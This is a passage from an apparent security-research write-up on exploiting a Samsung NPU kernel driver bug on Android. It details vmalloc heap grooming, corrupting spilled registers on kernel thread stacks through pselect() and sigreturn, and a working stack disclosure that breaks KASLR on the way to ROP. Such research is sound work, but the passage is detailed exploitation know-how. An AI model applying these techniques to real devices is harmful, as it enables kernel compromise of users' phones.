check if there's a new task port handle; if not, go back to step 2.\n 5. This handle is a fake task port that can be used to read kernel memory using pid_for_task(). Use this capability to find relevant kernel objects and update the fake task into a fake kernel task object.\n\n## Thought experiment: an iOS out-of-bounds addition\n\nWhat about the out-of-bounds addition?\n\nNone of the bugs in the survey of iOS kernel exploits seem like a good comparison point: the most similar category would be linear heap buffer overflows, but these are much more limiting due to spatial locality. Nonetheless, I eventually settled on oob_timestamp as the best reference.\n\nThe vulnerability used by oob_timestamp is CVE-2020-3837, a linear heap out-of-bounds write of up to 8 bytes of timestamp data. However, this isn't the typical heap buffer overflow. Most heap overflows occur in small to medium sized allocations of up to 2 pages (0x8000 bytes); these allocations occur in a submap of the kernel virtual address space called the zone_map. Meanwhile, the out-of-bounds write in oob_timestamp occurs off the end of a pageable region of shared memory outside the zone_map, in the general kernel_map used for large, multi-page allocations or allocations with special properties (like pageable and shared memory).\n\nThe basic flow of oob_timestamp is as follows:\n\n 1. Groom the kernel_map to allocate the pageable shared memory region, an ipc_kmsg, and an out-of-line Mach ports array contiguously. These are followed by a large number of filler allocations.\n 2. Trigger the overflow to overwrite the first few bytes of the ipc_kmsg, increasing the size field.\n 3. Free the ipc_kmsg, causing the subsequent out-of-line Mach ports array to also be freed.\n 4. Reallocate the out-of-line Mach ports array with controlled data, effectively inserting fake Mach port pointers into the array. The pointer will be a pointer to a fake task port in the pageable shared memory region.\n 5. Receive the out-of-line Mach ports in userspace, gaining a handle to the fake port.\n 6. Overwrite the fake port in shared memory to make a fake task port and then read kernel memory using pid_for_task(). Find relevant kernel objects and update the fake task into a fake kernel task.\n\nMy thought was that you could basically use the out-of-bounds addition primitive as a drop-in replacement for the out-of-bounds timestamp write primitive in oob_timestamp. This seemed sensible because the initial primitive in oob_timestamp is only used to increase the size of an ipc_kmsg so that extra memory gets freed. Since all I need to do is bump an ipc_kmsg's size field, I felt that an out-of-bounds addition primitive should surely be suitable for this.\n\nAs it turns out, the constraints of the out-of-bounds addition are actually much tighter than I had imagined: the ipc_kmsg's size and the ION buffer's device address would need to be very carefully chosen to meet all the requirements. In spite of this oversight, oob_timestamp still proved a useful reference point for another reason: where the ION buffers get mapped in kernel memory.\n\nLike iOS, Android also has multiple areas of virtual memory in which allocations can be made. kmalloc() is the standard allocation function used for most allocations. It's somewhat analogous to allocating using kalloc() on iOS: allocations can be less than a page in size and are managed via a dedicated allocation pool that's a bit like the zone_map. However, there's also a vmalloc() function for allocating \"virtually contiguous memory\". Unlike kmalloc(), vmalloc() allocates at page granularity and allocations occur in a separate region of kernel virtual memory somewhat analogous to the kernel_map on iOS.\n\nThe reason this matters is that the ION buffer on Android is mapped into the Linux kernel's vmalloc region. Thus, the fact that the out-of-bounds addition occurs off the end of a shared ION buffer mapped in the vmalloc area closely parallels how the oob_timestamp overflow occurs off the end of a pageable shared memory region in the kernel_map.\n\n# Choosing a path\n\nAt this point I still faced many unknowns: What allocation and heap shaping primitives were available on Android? What types of objects would be useful to corrupt? What would be Android's equivalent of the kernel task port, the final read/write capability? I had no idea.\n\nOne thing I did have was a hint at a good starting point: Both Ben and fellow Project Zero researcher [Jann Horn](<https://www.google.com/url?q=https://twitter.com/tehjh&sa=D&ust=1608578955075000&usg=AOvVaw3Pv3Mj5IScA-OPtG0dCOwO>) had pointed out that along with the ION buffers, kernel thread stacks were also allocated in the vmalloc area, which meant that kernel stacks might be a good target for the out-of-bounds addition bug.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPxqmpHY7a9wVU9N6EaSUaZJ55fQcZGSW02pooIY5zBkFGd0byoBv6kQORU_QhaF0zsJky3K7E5XxLAmUh5rvgCVqI7CQDWQ04dgev9lh-PAA4IXEHVtkyPUzO3LXSOaI9A9_mh6EzV9fVHpqNiMN5flxkLnOStf0FlLiRF_UcJHIOKx7iIP6kK7AT/s1600/unnamed%20%284%29.png>)\n\nIf the ION buffer is mapped directly before a kernel stack for a userspace thread, then the out-of-bounds addition primitive could be used to manipulate the stack.\n\nImagine that we could get a kernel stack for a thread in our process allocated at a fixed offset after the ION buffer. The out-of-bounds addition primitive would let us manipulate values on the thread's stack during a syscall by adding in the ION buffer's daddr, assuming that the initial values were sufficiently small. For example, we might make a blocking syscall which saves a certain size parameter in a variable, and once that syscall blocks and spills the size variable to the stack, we can use the out-of-bounds addition to make it very large; unblocking the syscall would then cause the original code to resume use the corrupted size value, perhaps passing it to a function like memcpy() to cause further memory corruption.\n\nUsing the out-of-bounds addition primitive to target values on a thread's kernel stack was appealing for one very important reason: in theory, this technique could dramatically reduce the amount of Linux-specific knowledge I'd need to develop a full exploit.\n\nMost typical memory corruption exploits require finding specific objects that are interesting targets for corruption. For example, there are very few objects that could replace the ipc_kmsg in the oob_timestamp exploit, because the exploit relies on corrupting a size field stored at the very start of the struct; not many other objects have a size as their first field. So ipc_kmsg fills a very important niche in the arsenal of interesting objects to target with memory corruption, just as Mach ports fill a niche in useful objects to get a fake handle for.\n\nUndoubtedly, there's a similar arsenal of useful objects to target for Android kernel exploitation. But by limiting ourselves to corrupting values on the kernel stack, we transform the set of all useful target \"objects\" into the set of useful stack frames to manipulate. This is a much easier set of target objects to work with than the set of all structs that could be allocated after the ION buffer because it doesn't require much Linux-specific knowledge to reason about semantics: We only need to identify relevant syscalls and look at the kernel binary in a disassembler to get a handle on what \"objects\" we have available to us.\n\nSelecting the out-of-bounds addition primitive and choosing to target kernel thread stacks effectively solves the problem of finding useful kernel objects to corrupt by turning what would be a codebase-wide search into a simple enumeration of interesting stack frames in a disassembler without needing to learn much in the way of Linux internals.\n\nNevertheless, we are still left with two pressing questions: What allocation and heap shaping primitives do we have on Android? And what will be our final read/write capability to parallel the kernel task port?\n\n# Heap shaping\n\nI started with the heap shaping primitive since it seemed the more tangible problem.\n\nAs previously mentioned, the vmalloc area is a region of the kernel's virtual address space in which allocations and mappings of page-level granularity can be made, comparable to the kernel_map on iOS. And just like how iOS provides a means of inspecting virtual memory regions in the kernel_map via vmmap, Linux provides a way of inspecting the allocations in the vmalloc area through /proc/vmallocinfo.\n\nThe /proc/vmallocinfo interface provides a simple textual description of each allocated virtual memory region inside the vmalloc area, including the start and end addresses, the size of the region in bytes, and some information about the allocation, such as the allocation site:\n\n0xffffff8013bd0000-0xffffff8013bd5000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8013bd8000-0xffffff8013bdd000 20480 unpurged vm_area\n\n0xffffff8013be0000-0xffffff8013be5000 20480 unpurged vm_area\n\n0xffffff8013be8000-0xffffff8013bed000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8013bed000-0xffffff8013cec000 1044480 binder_alloc_mmap_handler+0xa4/0x1e0 vmalloc\n\n0xffffff8013cec000-0xffffff8013eed000 2101248 ion_heap_map_kernel+0x110/0x16c vmap\n\n0xffffff8013eed000-0xffffff8013fee000 1052672 ion_heap_map_kernel+0x110/0x16c vmap\n\n0xffffff8013ff0000-0xffffff8013ff5000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8013ff8000-0xffffff8013ffd000 20480 unpurged vm_area\n\n0xffffff8014000000-0xffffff80140ff000 1044480 binder_alloc_mmap_handler+0xa4/0x1e0 vmalloc\n\n0xffffff8014108000-0xffffff801410d000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\nThis gives us a way to visualize the vmalloc area and ensure that our allocations are grooming the heap as we want them to.\n\nOur heap shaping needs to place a kernel thread stack at a fixed offset after the ION buffer mapping. By inspecting the kernel source code and the vmallocinfo output, I determined that kernel stacks consisted of 4 pages (0x4000 bytes) of data but also included a guard page after the allocation that was included in the size. Thus, my initial heap shaping idea was:\n\n 1. Allocate large allocation of say 0x80000 bytes.\n 2. Spray kernel stacks by creating new threads to fill up all 0x5000-byte holes in the vmalloc area before our large 0x80000-byte allocation.\n 3. Free the large allocation. This should make an 0x80000-byte hole with no 0x5000-byte holes before it.\n 4. Spray several more kernel stacks by creating new threads; these stacks should fall into the beginning of the hole, and also fill any earlier holes created by exiting threads from other processes.\n 5. Map the ION buffer into the kernel by invoking the VS4L_VERTEXIOC_S_GRAPH ioctl, but without triggering the out-of-bounds addition. The ION buffer mapping should also fall into the hole.\n 6. Spray more kernel stacks by creating new threads. These should fall into the hole as well, and one of them should land directly after the ION buffer.\n\nUnfortunately, when I proposed this strategy to my teammates, Jann Horn pointed out a problem. In XNU, when you free a kernel_map allocation, that virtual memory region becomes immediately available for reuse. However, in Linux, freeing a vmalloc allocation usually just marks the allocation as freed without allowing you to immediately reclaim the virtual memory range; instead, the range becomes an \"unpurged vm_area\", and these areas are only properly freed and reclaimed once the amount of unpurged vm_area memory crosses a certain threshold. The reason Linux batches reclaiming freed virtual memory regions like this is to minimize the number of expensive global TLB flushes.\n\nConsequently, this approach doesn't work exactly as we'd like: it's hard to know precisely when the unpurged vm_area allocations will be purged, so we can't be sure that we're reclaiming the hole to arrange our allocations. Nevertheless, it is possible to force a vm_area purge if you allocate and free enough memory. We just can't rely on the exact timing.\n\nEven though the straightforward approach wouldn't work, Ben and Jann did help me identify a useful allocation site for spraying controlled-size allocations using vmalloc(). The function binder_alloc_mmap_handler(), which implements mmap() called on /dev/binder file descriptors, contains a call to get_vm_area() on the specific kernel version I was exploiting. Thus, the following sequence of operations would allow me to perform a vmalloc() of any size up to 4 MiB:\n\nint binder_fd = open(\"/dev/binder\", O_RDONLY);\n\nvoid *binder_map = mmap(NULL, vmalloc_size,\n\nPROT_READ, MAP_PRIVATE, binder_fd, 0); \n \n--- \n \nThe main annoyance with this approach is that only a single allocation can be made using each binder fd; to make multiple allocations, you need to open multiple fds.\n\nOn my rooted Samsung Galaxy S10 test device, it appeared that the vmalloc area contained a lot of unreserved space at the end, in particular between 0xffffff8050000000 and 0xffffff80f0000000:\n\n0xffffff804a400000-0xffffff804a800000 4194304 vm_map_ram\n\n0xffffff804a800000-0xffffff804ac00000 4194304 vm_map_ram\n\n0xffffff804ac00000-0xffffff804b000000 4194304 vm_map_ram\n\n0xffffff80f9e00000-0xffffff80faa00000 12582912 phys=0x00000009ef800000\n\n0xffffff80fafe0000-0xffffff80fede1000 65015808\n\n0xffffff80fefe0000-0xffffff80ff5e1000 6295552\n\n0xffffff8100d00000-0xffffff8100d3a000 237568 phys=0x0000000095000000\n\n0xffffffbebfdc8000-0xffffffbebfe80000 753664 pcpu_get_vm_areas+0x0/0x744 vmalloc\n\n0xffffffbebfe80000-0xffffffbebff38000 753664 pcpu_get_vm_areas+0x0/0x744 vmalloc\n\n0xffffffbebff38000-0xffffffbebfff0000 753664 pcpu_get_vm_areas+0x0/0x744 vmalloc\n\nThus, I came up with an alternative strategy to place a kernel thread stack after the ION buffer mapping:\n\n 1. Open a large number of /dev/binder fds.\n 2. Spray a large amount of vmalloc memory using the binder fds and then close them, forcing a vm_area purge. We can't be sure of exactly when this purge occurs, so some unpurged vm_area regions will still be left. But forcing a purge will expose any holes at the start of the vmalloc area so that we can fill them in the next step. This prevents these holes from opening up at a later stage, messing up the groom.\n 3. Now spray many allocations to the binder fds in decreasing sizes: 4 MiB, 2 MiB, 1 MiB, etc., all the way down to 0x4000 bytes. The idea is to efficiently fill holes in the vmalloc heap so that we eventually start allocating from clean virtual address space, like the 0xffffff8050000000 region identified earlier. The first binder vmallocs will fill the large holes, then later allocs will fill smaller and smaller holes, until eventually all 0x5000-byte holes are filled. (It is 0x5000 not 0x4000 because the allocations have a guard page at the end.)\n 4. Now create some user threads. The threads' kernel stacks will allocate their 0x4000-byte stacks (which are 0x5000-byte reservations with the guard page) from the fresh virtual memory area at the end of the vmalloc region.\n 5. Now trigger the vulnerable ioctl to map the ION buffer into the vmalloc region. If the ION buffer is chosen to have size 0x4000 bytes, it will also be placed in the fresh virtual memory area at the end of the vmalloc region.\n 6. Finally, create some more user threads. Once again, their kernel stacks will be allocated from the fresh VA space, and they will thus be placed directly after the ION buffer, achieving our goal.\n\nThis technique actually seemed to work reasonably well. By dumping /proc/vmallocinfo at each step, it's possible to check that the kernel heap is being laid out as we hope. And indeed, it did appear that we were getting the ION buffer allocated directly before kernel thread stacks:\n\n0xffffff8083ba0000-0xffffff8083ba5000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8083ba8000-0xffffff8083bad000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8083bad000-0xffffff8083bb2000 20480 ion_heap_map_kernel+0x110/0x16c vmap\n\n0xffffff8083bb8000-0xffffff8083bbd000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8083bc0000-0xffffff8083bc5000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8083bc8000-0xffffff8083bcd000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff8083bd0000-0xffffff8083bd5000 20480 _do_fork+0x88/0x398 pages=4 vmalloc\n\n0xffffff80f9e00000-0xffffff80faa00000 12582912 phys=0x00000009ef800000\n\n0xffffff80fafe0000-0xffffff80fede1000 65015808\n\n0xffffff80fefe0000-0xffffff80ff5e1000 6295552\n\n# Stack manipulation\n\nAt this point we can groom the kernel heap to place the kernel stack for one of our process's threads directly after the ION buffer, giving us the ability to manipulate the thread's stack while it is blocked in a syscall. The next question is what we should manipulate?\n\nIn order to answer this, we really need to understand the constraints of our bug. As discussed above, our primitive is the ability to perform an out-of-bounds addition on a 32-bit unsigned value, adding in the ION buffer's device address (daddr), so long as the original value being modified is less than the ION buffer's size.\n\nThe code in npu-session.c performs a copious amount of logging, so it's possible to check the address of the ION allocation from a root shell using the following command:\n\ncat /proc/kmsg | grep ncp_ion_map\n\nIn my early tests, the ION buffer's daddr was usually between 0x80500000 and 0x80700000, and always matched the masks 0x80xx0000. If we use a size of 0x4000 for our ION buffer, then that means our primitive will transform a small positive value on the stack into a very large positive (unsigned) or negative (signed) value; for example, we might transform 0x1000 into 0x80611000.\n\nHow would we use this to gain code execution? Jann suggested a very interesting trick that could block calls to the functions copy_from_user() and copy_to_user() for arbitrary amounts of time, which could greatly expand the set of block points available during system calls.\n\ncopy_from_user() and copy_to_user() are the Linux equivalents of XNU's copyin() and copyout(): They are used to copy memory from userspace into the kernel (copy_from_user()) or to copy memory from the kernel into userspace (copy_to_user()). It's well known that these operations can be blocked by using tricks involving [userfaultfd](<https://www.google.com/url?q=https://www.kernel.org/doc/html/latest/admin-guide/mm/userfaultfd.html&sa=D&ust=1608578955091000&usg=AOvVaw06YNTMv0NBVU6zjZNk9XNM>), but this won't be available to us in an exploit from app context. Nevertheless, Jann had discovered that similar tricks could be done using [proxy file descriptors](<https://www.google.com/url?q=https://developer.android.com/reference/android/os/ProxyFileDescriptorCallback&sa=D&ust=1608578955091000&usg=AOvVaw1Q9-r_4razsXpR0WAGVDWk>) (an abstraction over [FUSE](<https://www.google.com/url?q=https://www.kernel.org/doc/html/latest/filesystems/fuse.html&sa=D&ust=1608578955091000&usg=AOvVaw3r-EKwzpOcxxmIIOjxyZZ8>) provided by system_server and vold), essentially allowing page faults on userspace pages to be blocked for arbitrary amounts of time.\n\nOne particularly interesting target while blocking a copy_from_user() operation would be copy_from_user() itself. When copy_from_user() performs the actual copy operation in __arch_copy_from_user(), the first access to the magical blocking memory region will trigger a page fault, causing an exception to be delivered and spilling all the registers of __arch_copy_from_user() to the kernel stack while the fault is being processed. During that time, we could come in on another thread using our out-of-bounds addition to increase the size argument to __arch_copy_from_user() where it is spilled onto the stack. That way, once we service the page fault via the proxy file descriptor and allow the exception to return, the modified size value will be popped back into the register and __arch_copy_from_user() will copy more data than expected into kernel memory. If the buffer being copied into lives on the stack, this gives us a deterministic controlled stack buffer overflow that we can use to clobber a return address and get code execution. And the same idea can be applied to copy_to_user() to copy extra memory out of the kernel instead, disclosing kernel stack contents and allowing us to break KASLR and leak the stack cookie.\n\nIn order to figure out which spilled register we'd need to target, I looked at __arch_copy_to_user() in IDA. Unfortunately, there's one other complication to make this technique work: due to unrolling, __arch_copy_to_user() will only enter a loop if the size is at least 128 bytes on entry. This means that we'll need to target a syscall that calls copy_to_user() with a size of at least 128 bytes.\n\nFortunately, it didn't take long to find several good stack disclosure candidates, such as the newuname() syscall:\n\nSYSCALL_DEFINE1(newuname, struct new_utsname __user *, name)\n\n{\n\nstruct new_utsname tmp;\n\ndown_read(&uts_sem);\n\nmemcpy(&tmp, utsname(), sizeof(tmp));\n\nup_read(&uts_sem);\n\nif (copy_to_user(name, &tmp, sizeof(tmp)))\n\nreturn -EFAULT;\n\n...\n\n} \n \n--- \n \nThe new_utsname struct that gets copied out is 0x186 bytes, which means we should enter the looping path in __arch_copy_to_user(). When that access faults, the register containing the copy size 0x186 will be spilled to the stack, and we can change it to a very large value like 0x80610186 before unblocking the fault. To prevent the copyout from running off the end of the kernel stack, we will have the next page in userspace after the magic blocking page be unmapped, causing the __arch_copy_to_user() to terminate early and cleanly.\n\n# The write path\n\nThe above trick should work for reading past the end of a stack buffer; what about for writing?\n\nHere again I ran into a new complication, and this one was significant: copy_from_user() will zero out any unused space in the buffer that was not successfully copied from userspace:\n\n_copy_from_user(void *to, const void __user *from, unsigned long n)\n\n{\n\nunsigned long res = n;\n\nmight_fault();\n\nif (likely(access_ok(VERIFY_READ, from, n))) {\n\nkasan_check_write(to, n);\n\nres = raw_copy_from_user(to, from, n);\n\n}\n\nif (unlikely(res))\n\nmemset(to + (n - res), 0, res);\n\nreturn res;\n\n} \n \n--- \n \nThis means that copy_from_user() won't let us truncate the write early as we did with copy_to_user() by having an unmapped page after the blocking region. Instead, it will try to memset the memory past the end of the buffer to zero, all the way up to the modified size of at least 0x80500000. copy_from_user() is out.\n\nThankfully, there are some calls to the alternative function __copy_from_user(), which does not perform this unwanted memset. But these are much rarer, and thus we'll have a very limited selection of syscalls to target.\n\nIn fact, pretty much the only call to __copy_from_user() with a large size that I could find was in restore_fpsimd_context(), reached via the sys_rt_sigreturn() syscall. This syscall seems to be related to signal handling, and in particular restoring user context after returning from a signal handler. This particular __copy_from_user() call is responsible for copying in the floating-point register state (registers Q0 \\- Q31) after validating the signal frame on the user's stack.\n\nThe size parameter at this callsite is 512 (0x200) bytes, which is large enough to enter the looping path in __arch_copy_from_user(). However, the address of the floating point register state that is read from during the copy-in is part of the userspace thread's signal frame on the stack, so it would be very tricky to ensure that both\n\n 1. the first access to the blocking page (which must be part of the thread's stack) is in the target call to __copy_from_user() rather than earlier in the signal frame parsing, and\n 2. the address passed to __copy_from_user() is deep enough into the blocking page that we hit a subsequent unmapped page in userspace before overflowing off the end of the kernel stack.\n\nThese two requirements are in direct conflict: Since the signal frame before the floating-point register state will be accessed in parse_user_sigframe(), the first requirement effectively means we need to put the floating-point state at the very start of the blocking page, so that the values right before can be accessed without triggering the blocking fault. But at the same time, the second requirement forces us to put the floating-point state towards the end of the blocking page so that we can terminate the __arch_copy_from_user() before running off the end of the kernel stack and triggering a panic. It's impossible to satisfy both of these requirements.\n\nAt this point I started looking at alternative ways to use our primitive to work around this conflict. In particular, we know that the __arch_copy_from_user() size parameter on entry will be 0x200, that ION buffers have addresses like 0x80xx0000, and that our addition need not be aligned. So, what if we overlapped only the most-significant byte of the ION address with the least-significant byte of the size parameter?\n\nWhen __arch_copy_to_user() faults, its registers will be spilled to memory in the order X0, X1, X2, and so on. Register X2 holds the size value, which in our case will be 0x200, and X1 stores the userspace address being copied from. If we assume the first 3 bytes of the userspace address are zero, then we get the following layout of X1 and X2 in memory:\n\nX1 | X2\n\nUU UU UU UU UU 00 00 00 | 00 02 00 00 00 00 00 00\n\nThen, if we come in with our unaligned addition with a daddr of 0x80610000:\n\nX1 | X2 \nUU UU UU UU UU 00 00 61 | 80 02 00 00 00 00 00 00\n\nThus, we've effectively increased the value of X2 from 0x200 to 0x280, which should be large enough to corrupt the stack frame of sys_rt_sigreturn() but small enough to avoid running off the end of the kernel stack.\n\nThe consequence of using an unaligned addition like this is that we've also corrupted the value of X1, which stores the userspace address from which to copy in the data. Instead of the upper bytes being all 0, the top byte is now nonzero. Quite fortunately, however, this isn't a problem because the kernel was compiled with support for the Top Byte Ignore (TBI) architectural feature enabled for userspace, which means that the top byte of the pointer will be ignored for the purpose of address translation by the CPU.\n\nThis gives us a reasonably complete exploit flow:\n\n 1. Create 2 \"blocking pages\" using proxy file descriptors.\n 2. Map the first blocking page before an unmapped page, and invoke the newuname() syscall with a pointer towards the end of the first blocking page. The copy_to_user() will fault and block, waiting on the corresponding proxy fd.\n 3. Use the out-of-bounds addition to increase the spilled value of register X2 from __arch_copy_to_user().\n 4. Fulfill the requested data on the first proxy fd, allowing the page fault to complete and resuming __arch_copy_to_user(). The copy-out will proceed past the ends of the stack buffer, disclosing the stack cookie and the return address, but stopping at the unmapped page.\n 5. Create a fake signal stack frame around a mapping of the second blocking page and invoke the sys_rt_sigreturn() syscall.\n 6. sys_rt_sigreturn() will call __copy_from_user() with size 0x200 and fault trying to access the blocking page.\n 7. Use the out-of-bounds addition to increase the spilled value of register X2 from __arch_copy_from_user(), but align the addition such that only the least significant byte of X2 is changed. This will bump the spilled value from 0x200 to 0x280.\n 8. Fulfill the requested data on the second proxy fd, allowing the page fault to complete and resuming __arch_copy_from_user(). The copy-in will overflow the stack buffer, overwriting the return address.\n 9. When sys_rt_sigreturn() returns, we will gain code execution.\n\n# Blocking problems\n\nWhen I tried to implement this technique, I ran into a fatal problem: I couldn't seem to mmap() the proxy file descriptor in order to create the memory regions that would be used to block copy_to/from_user().\n\nI checked with Jann, and he discovered that [the SELinux policy change](<https://www.google.com/url?q=https://android.googlesource.com/platform/system/sepolicy/%2B/975215578f0b10a35a36c02e7f265a063796729e%255E%2521/%23F0&sa=D&ust=1608578955110000&usg=AOvVaw1PLwg2HYA0fc46ZEWPu4xg>) that would allow mapping the proxy file descriptors was quite recent, and unfortunately too new to be available on my device:\n\n# For app fuse.\n\n-allow appdomain app_fuse_file:file { getattr read append write };\n\n+allow appdomain app_fuse_file:file { getattr read append write map };\n\nThis change was committed in March of 2020, and apparently would not migrate to my device until after the NPU bug I was exploiting would be fixed. Thus, I couldn't rely on blocking copy_to/from_user() after all, and would need to find an alternative target.\n\nThankfully, due to his copious knowledge of Linux internals, Jann was quickly able to suggest a few different strategies worth investigating. Since this post is already quite long I'll avoid explaining each of them and jump directly to the one that was the most promising: select().\n\n# Revisiting the read\n\nSince my previous strategy relied on the blocking memory region for both the stack disclosure (read) and stack buffer overflow (write) steps, I'd need to revisit both of them. But for right now, we'll focus on the read part.\n\nThe pselect() system call is an interesting target for our out-of-bounds addition primitive because it will deterministically block before calling copy_to_user() to copy out the contents of a stack buffer. Not only that, but the amount of memory to copy out to userspace is controllable rather than being hardcoded. Thus, we'll have an opportunity to modify the size parameter in a call to copy_to_user() while pselect() is blocked, and increasing the size should cause the kernel to disclose out-of-bounds stack memory.\n\nHere's the relevant code from core_sys_select(), which implements the core logic of the syscall:\n\nint core_sys_select(int n, fd_set __user *inp, fd_set __user *outp,\n\nfd_set __user *exp, struct timespec64 *end_time)\n\n{\n\n...\n\n/* Allocate small arguments on the stack to save memory and be faster */\n\nlong stack_fds[SELECT_STACK_ALLOC/sizeof(long)];\n\n...\n\n/*\n\n* We need 6 bitmaps (in/out/ex for both incoming and outgoing),\n\n* since we used fdset we need to allocate memory in units of\n\n* long-words.\n\n*/\n\nsize = FDS_BYTES(n);\n\nbits = stack_fds;\n\nif (size > sizeof(stack_fds) / 6) {\n\n/* Not enough space in on-stack array; must use kmalloc */\n\n...\n\nbits = kvmalloc(alloc_size, GFP_KERNEL);\n\n...\n\n}\n\nfds.in = bits;\n\nfds.out = bits + size;\n\nfds.ex = bits + 2*size;\n\nfds.res_in = bits + 3*size;\n\nfds.res_out = bits + 4*size;\n\nfds.res_ex = bits + 5*size;\n\n// get_fd_set() calls copy_from_user()\n\nif ((ret = get_fd_set(n, inp, fds.in)) ||\n\n(ret = get_fd_set(n, outp, fds.out)) ||\n\n(ret = get_fd_set(n, exp, fds.ex)))\n\ngoto out;\n\nzero_fd_set(n, fds.res_in);\n\nzero_fd_set(n, fds.res_out);\n\nzero_fd_set(n, fds.res_ex);\n\n// do_select() may block\n\nret = do_select(n, &fds, end_time);\n\n...\n\n// set_fd_set() calls __copy_to_user()\n\nif (set_fd_set(n, inp, fds.res_in) ||\n\nset_fd_set(n, outp, fds.res_out) ||\n\nset_fd_set(n, exp, fds.res_ex))\n\nret = -EFAULT;\n\n...\n\n} \n \n--- \n \nAs you can see, the local variable n must be saved to the stack while do_select() blocks, which means that it can be modified before the call to set_fd_set() copies out the corresponding number of bytes to userspace. Also, if n is small, then the 256-byte stack_fds buffer will be used rather than a heap-allocated buffer.\n\nThis code actually looks a bit different when compiled in the kernel due to optimization and inlining. In particular, the variable n is not used during the subsequent calls to __arch_copy_to_user(), but rather a hidden variable with the value 8 * size allocated to register X22. Thus, wherever X22 gets spilled to the stack during the prologue of do_select(), that's the address we need to target to change the size passed to __arch_copy_to_user().\n\nBut there's one other unfortunate consequence we'll have to deal with when moving from the old \"blocking page\" technique to this new technique: Before, we were modifying the size to be copied out during the execution of __arch_copy_to_user() itself, after all the sanity checks had passed on the original (unmodified) value. Now, however, we're trying to pass the corrupted value directly to __copy_to_user(), which means we'll need to ensure that we don't trip any of the checks. In particular, __copy_to_user() has a call to check_object_size() which will fail if the copy-out extends beyond the bounds of the stack.\n\nThankfully, we've already solved this particular problem already when dealing with sys_rt_sigreturn(). Just like in that case, we can set the offset of our out-of-bounds addition such that only the least significant byte of the spilled X22 is modified. But for this to be compatible with the precondition for the write, that the initial value being modified is smaller than the size of the ION buffer, this means that we need the least significant byte of X22 to be 0.\n\nBecause core_sys_select() will stop using the stack_fds buffer if n is too large, this constraint actually admits only a single solution: n = 0. That is, we will need to call select() on 0 file descriptors, which will cause the value X22 = 0 to be stored to the stack when do_select() blocks, at which point we can use our out-of-bounds addition to increase X22 to 0x80.\n\nThankfully, the logic of core_sys_select() functions just fine with n = 0; even better, the stack_fds buffer is only zeroed for positive n, so bumping the copy-out size to 0x80 will allow us to read uninitialized stack buffer contents. So this technique should allow us to turn the out-of-bounds addition into a useful kernel stack disclosure.\n\nUnfortunately, when I began implementing this, I ran into another significant problem. When the prologue of do_select() saves X22 to the stack, it places register X23 right before X22, and X23 contains a kernel pointer at this point. This messes up the precondition for our out-of-bounds addition, because the unaligned value overlapping the least significant byte of X22 will be too large:\n\nX23 | X22\n\nXX XX XX XX 80 ff ff ff | 00 00 00 00 00 00 00 00\n\nIn order for our precondition to be met, we'd need to have an ION buffer of size at least 0x00ffffff (really, 0x01000000 due to granularity). My impression was that ION memory is quite scarce; is it even possible to allocate an ION buffer that large?\n\nIt turns out, yes! I had just assumed that such a large allocation (16 MiB) would fail, but it turns out to work just fine. So, all we have to do is increase the size of the ION buffer initially allocated to 0x1000000, and we should be able to modify register X22.\n\nWhat about X23, won't that register be corrupted? It will, but thankfully X23 happens to be unused by core_sys_select() after the call to do_select(), so it doesn't actually matter that we clobber it.\n\nAt last, we have a viable stack disclosure strategy!\n\n 1. Allocate a 16 MiB ION buffer.\n 2. Perform the vmalloc purge using binder fds.\n 3. Spray binder vmallocs to consume all vmalloc holes down to size 0x5000, and cause vmalloc() to start allocating from fresh VA space.\n 4. Spray thread stacks to fill any remaining 0x5000-byte holes leading up to the fresh VA space.\n 5. Map the ION buffer into the fresh VA space by invoking the vulnerable ioctl.\n 6. Spray thread stacks; these should land directly after the ION buffer mapping.\n 7. Call pselect() from the thread directly after the ION buffer with with n = 0; this call will block for the specified timeout.\n 8. Call ioctl() on the main thread to perform the out-of-bounds addition, targeting the value of X22 from core_sys_select(). Align the addition to bump the value from 0 to 0x80.\n 9. When do_select() unblocks due to timeout expiry, the modified value of X22 will be passed to __copy_to_user(), disclosing uninitialized kernel stack contents to userspace. \n\nAnd after a few false starts, this strategy turned out to work perfectly:\n\nSamsung NPU driver exploit\n\nION 0x80850000 [0x01000000]\n\nAllocated ION buffer\n\nFound victim thread!\n\nbuf = 0x74ec863b30\n\npselect() ret = 0 Success\n\nbuf[00]: 0000000000000124\n\nbuf[08]: 0000000000000015\n\nbuf[10]: ffffffc88f303b80\n\nbuf[18]: ffffff8088adbdd0\n\nbuf[20]: ffffffc89f935e00\n\nbuf[28]: ffffff8088adbd10\n\nbuf[30]: ffffff8088adbda8\n\nbuf[38]: ffffff8088adbd90\n\nbuf[40]: ffffff8008f814e8\n\nbuf[48]: 0000000000000000\n\nbuf[50]: ffffffc800000000\n\nBy inspecting the leaked buffer contents, it appears that buf[38] is a stack frame pointer and buf[40] is a return address. Thus we now know both the address of the victim stack, from which we can deduce the address of the ION buffer mapping, and the address of a kernel function, which allows us to break KASLR.\n\n# Revisiting the write\n\nPretty much the only thing left to do is find a way to overflow a stack buffer using our primitive. Once we do this, we should be able to build a ROP chain that will give us some as-yet-unspecified kernel read/write capability.\n\nFor now, we won't worry about what to do after the overflow because ROP should be a sufficiently generic technique to implement whatever final read/write capability we want. Admittedly, for an iOS kernel exploit the choice of final capability would have substantial influence on the shape of the exploit flow. But this is because the typical iOS exploit achieves stable kernel read/write before kernel code execution, especially since the arrival of PAC. By contrast, if we can build a stack buffer overflow, we should be able to get ROP execution directly, which is in many ways more powerful than kernel read/write.\n\nActually, thinking about PAC and iOS gave me an idea.\n\nWhen a userspace thread enters the kernel, whether due to a system call, page fault, IRQ, or any other reason, the userspace thread's register state needs to be saved in order to be able to resume its execution later. This includes the general-purpose registers X0 \\- X31 as well as SP, PC, and SPSR (\"Saved Program Status Register\", alternatively called CPSR or PSTATE). These values get saved to the end of the thread's kernel stack right at the beginning of the exception vector.\n\nWhen Apple implemented their PAC-based kernel control flow integrity on iOS, they needed to take care that the saved value of SPSR could not be tampered with. The 